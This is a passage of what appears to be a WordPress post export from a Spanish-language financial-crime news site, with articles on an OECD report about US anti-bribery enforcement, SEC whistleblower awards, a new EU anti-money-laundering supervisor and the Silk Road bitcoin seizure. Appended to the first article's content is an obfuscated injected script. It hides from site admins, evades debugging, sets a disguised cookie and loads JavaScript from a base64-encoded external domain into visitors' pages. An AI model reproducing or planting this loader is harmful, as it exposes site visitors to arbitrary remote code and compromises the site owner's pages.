corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los 